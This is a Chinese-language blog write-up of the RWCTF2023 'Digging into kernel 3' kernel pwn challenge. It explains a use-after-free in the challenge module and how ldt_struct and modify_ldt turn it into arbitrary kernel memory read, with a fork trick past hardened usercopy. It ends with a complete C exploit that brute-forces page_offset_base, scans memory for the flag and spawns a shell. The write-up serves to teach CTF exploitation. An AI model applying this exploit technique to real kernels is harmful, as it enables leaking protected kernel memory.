RWCTF2023体验赛 write up for Digging into kernel 3

Kernel Pwn 碰到 initrd 只要无脑爆搜内存就行

前言

因为学业上的问题摆了挺久所以一直没咋弄 Pwn…所以你可以看到这篇文章距离咱的上一篇文章的间隔大概有 2 年(咕咕咕🕊🕊🕊

不过计科基础也一直有在夯实(毕竟科班出身基础不夯实就挂科(*´∀`*) ←面对课业压力的绝望眼神),在巩固了 OS 基础之后最近也开始稍微入门一些 Linux kernel,正好听说 RWCTF2023 体验赛有一道入门级的 kernel pwn,所以打算从这里入手(←毕竟这个菜🐕也做不来难题

按照arttnba3 师傅的建议深入学了 OS 之后确实有种不一样的感觉,就是花的时间有些久 XD(←以及这个懒🐕实际上根本没咋动手

image.png

0x00.题目分析

首先按惯例查看 run.sh ,可以发现开启了 SMEP、SMAP、KASLR、KPTI 四大保护,这里我们注意的文件系统用的是最基础的 initrd 而并非是常规的 ext4 格式的磁盘镜像:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-enable-kvm \
-cpu kvm64,+smap,+smep \
-monitor /dev/null \
-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
-no-reboot \
-snapshot \
-s

注意到指定了 init 进程为 /init ,所以接下来我们来分析文件系统下的 init 文件,主要就是载入了一个内核模块 rwctf.ko ,以及设置了 flag 和 kallsyms 的权限,这意味着我们无法从 /proc/kallsyms 中获取到内核函数的基地址:(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t tmpfs none /tmp

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /rwctf.ko
chmod 666 /dev/rwctf
chmod 700 /flag
chmod 400 /proc/kallsyms

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

poweroff -d 120 -f &

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0 -f

接下来我们对 rwctf.ko 进行逆向分析,发现有用的主要就是 ioctl 函数,提供了两个功能:

  • 0xDEADBEEF:分配一个指定大小的堆块并能写入数据
  • 0xC0DECAFE:释放一个指定大小的堆块,存在 UAF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall rwmod_ioctl(int *a1, int a2, __int64 a3)
{
__int64 v5; // rdx
__int64 v7; // rbx
unsigned int v8; // [rsp+0h] [rbp-30h] BYREF
unsigned int v9; // [rsp+4h] [rbp-2Ch]
__int64 v10; // [rsp+8h] [rbp-28h]
unsigned __int64 v11; // [rsp+18h] [rbp-18h]

v11 = __readgsqword(0x28u);
v5 = 0LL;
if ( a3 )
{
if ( a2 == 0xC0DECAFE )
{
a1 = (int *)&v8;
if ( !copy_from_user(&v8, a3, 16LL) && v8 <= 1 )
{
a1 = (int *)buf[v8];
kfree(a1);
}
}
else if ( a2 == 0xDEADBEEF )
{
a1 = (int *)&v8;
if ( !copy_from_user(&v8, a3, 16LL) )
{
v7 = v8;
if ( v8 <= 1 )
{
a3 = 3520LL;
buf[v7] = _kmalloc(v9, 3520LL);
a1 = (int *)buf[v8];
if ( a1 )
{
a3 = v10;
if ( v9 > 0x7FFFFFFFuLL )
BUG();
copy_from_user(a1, v10, v9);
}
}
}
}
}

这里我们先将与题目进行交互的 API 写出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int dev_fd;

struct node {
uint32_t idx;
uint32_t size;
void *buf;
};

void alloc(uint32_t idx, uint32_t size, void *buf)
{
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
struct node n = {
.idx = idx,
};

ioctl(dev_fd, 0xC0DECAFE, &n);
}

0x01.漏洞利用

由于题目直接就有一个没有任何限制的 UAF,所以这道题的解法就是多种多样的了,这里咱选择用一种比较简单的内存空间搜索解法

Local Descriptor Table in kernel

在 Linux 内核当中使用 ldt_struct 来表示一个 Local Descriptor Table,其定义如下所示,有一个 entries 指针指向一块描述符表的内存,nr_entries 表示 LDT 中的描述符数量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;

/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

我们主要关注于从用户空间的角度该结构体如何能够为我们所用,Linux 提供了一个 modify_ldt() 系统调用来操纵该结构体:

1
2
3
4
5
6
7
8
9
10
11
MODIFY_LDT(2)              Linux Programmer's Manual             MODIFY_LDT(2)

NAME
modify_ldt - get or set a per-process LDT entry

SYNOPSIS
#include <sys/types.h>

int modify_ldt(int func, void *ptr, unsigned long bytecount);

Note: There is no glibc wrapper for this system call; see NOTES.

在内核空间中对应该函数,主要是读和写两个功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

对于 write_ldt() 而言其最终会调用 alloc_ldt_struct() 分配 ldt 结构体,由于走的是通用的分配路径所以我们可以在该结构体上完成 UAF :)

1
2
3
4
5
6
7
8
9
10
11
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

read_ldt() 就是简单的读出 LDT 表上内容到用户空间,由于我们有无限制的 UAF,故可以修改 ldt->entries 完成内核空间中的任意地址读

1
2
3
4
5
6
7
8
9
10
11
12
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

但是本题开启了 KASLR,因此我们还需要泄露内核空间的地址 QAQ

不过这一步也可以通过修改 ldt_struct 完成,这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核的 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值

page_offset_table 对应的实际上是直接映射区(direct mapping area),即该块虚拟内存为对所有物理内存的映射,因此我们可以直接搜索整个物理内存空间:

1
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

内核的堆分配也是从这一块内存上取

但若是内核开启了 hardened usercopy 检查,则我们不能直接通过修改 ldt->entries 的方式拷贝内核空间的数据,因为该保护会检查源地址对应的内存类型(是否为一个堆块或是其他的类型,若是堆块则检查其大小之类的)> <

这里我们参照 arttnba3 师傅博客中 利用 fork 进行 hardened usercopy 绕过 的做法,当父进程 fork 时,会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
//...

memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);

//...
}

该操作是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可

initrd 与 flag 搜索

Initrd ramdisk 或者 initrd 是指在启动阶段被Linux内核调用的临时文件系统,用于根目录被挂载之前的准备工作,其通常被压缩成gzip类型,开机时由bootloader(如LILOGRUB)来告知核心initrd的位置,使其被核心存取,挂载成一个loop型态的档案;在2.6版本内核之后出现了initramfs,它的功能类似initrd,但是它基于CPIO格式,无须挂载就可以展开成一个文件系统

这段抄自维基百科 > <

现在 CTF 中的 kernel pwn 大都使用 initramfs 构建文件系统,在带来出题便利性的同时也带来了一个问题:文件系统中所有的内容都会被载入到内存当中,这也包括 flag ,因此我们可以通过搜索内存空间的方式直接获取到 flag 的内容(・ω・´)

exploit

最后的 exp 就是下面这个样子啦,先用 ldt_struct 爆破 page_offset_base 再搜索 flag 即可(・ω・´)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>

int dev_fd;

struct node {
uint32_t idx;
uint32_t size;
void *buf;
};

/**
* @brief allocate an object bby kmalloc(size, ___GFP_RECLAIMABLE | GFP_KERNEL | __GFP_ATOMIC)
* __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM
* GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
*
* @param idx
* @param size
* @param buf
*/

void err_exit(char * msg)
{
printf("[x] %s \n", msg);
exit(EXIT_FAILURE);
}

void alloc(uint32_t idx, uint32_t size, void *buf)
{
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
struct node n = {
.idx = idx,
};

ioctl(dev_fd, 0xC0DECAFE, &n);
}

int main(int argc, char **argv, char **envp)
{
struct user_desc desc;
uint64_t page_offset_base = 0xffff888000000000;
uint64_t secondary_startup_64;
uint64_t search_addr, flag_addr = -1;
uint64_t temp;
uint64_t ldt_buf[0x10];
char *buf;
char flag[0x100];
int pipe_fd[2];
int retval;
cpu_set_t cpu_set;

/* bind to CPU core 0 */
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);

dev_fd = open("/dev/rwctf", O_RDONLY);
if (dev_fd < 0) {
err_exit("FAILED to open the /dev/rwctf file!");
}

/* init descriptor info */
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

alloc(0, 16, "arttnba3rat3bant");
del(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

/* leak kernel direct mapping area by modify_ldt() */
while(1) {
ldt_buf[0] = page_offset_base;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
retval = syscall(SYS_modify_ldt, 0, &temp, 8);
if (retval > 0) {
break;
}
else if (retval == 0) {
err_exit("no mm->context.ldt!");
}
page_offset_base += 0x1000000;
}
printf("[+] Found page_offset_base: %p\n", page_offset_base);

/* search for flag in kernel space */
search_addr = page_offset_base;
pipe(pipe_fd);
buf = (char*) mmap(NULL, 0x8000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
while(1) {
ldt_buf[0] = search_addr;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
int ret = fork();
if (!ret) { // child
char *result_addr;

syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = memmem(buf, 0x8000, "rwctf{", 6);
if (result_addr) {
for (int i = 0; i < 0x100; i++) {
if (result_addr[i] == '}') {
flag_addr = search_addr + ((uint64_t) result_addr - (uint64_t)buf);
}
}
printf("[+] Found flag at addr: %p\n", flag_addr);
}
write(pipe_fd[1], &flag_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &flag_addr, 8);
if (flag_addr != -1) {
break;
}
search_addr += 0x8000;
}

/* read flag */
memset(flag, 0, sizeof(flag));
ldt_buf[0] = flag_addr;
ldt_buf[1] = 0x8000 / 8;
del(0);
alloc(0, 16, ldt_buf);
syscall(SYS_modify_ldt, 0, flag, 0x100);
printf("[+] flag: %s\n", flag);

system("/bin/sh");

return 0;
}

运行就可以获得 flag 了:

image.png

RWCTF2023体验赛 write up for Digging into kernel 3

http://meteorpursuer.github.io/2023/02/05/RWCTF2023_Digging_into_kernel3_wp/

Posted on

2023-02-05

Updated on

2023-02-05

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!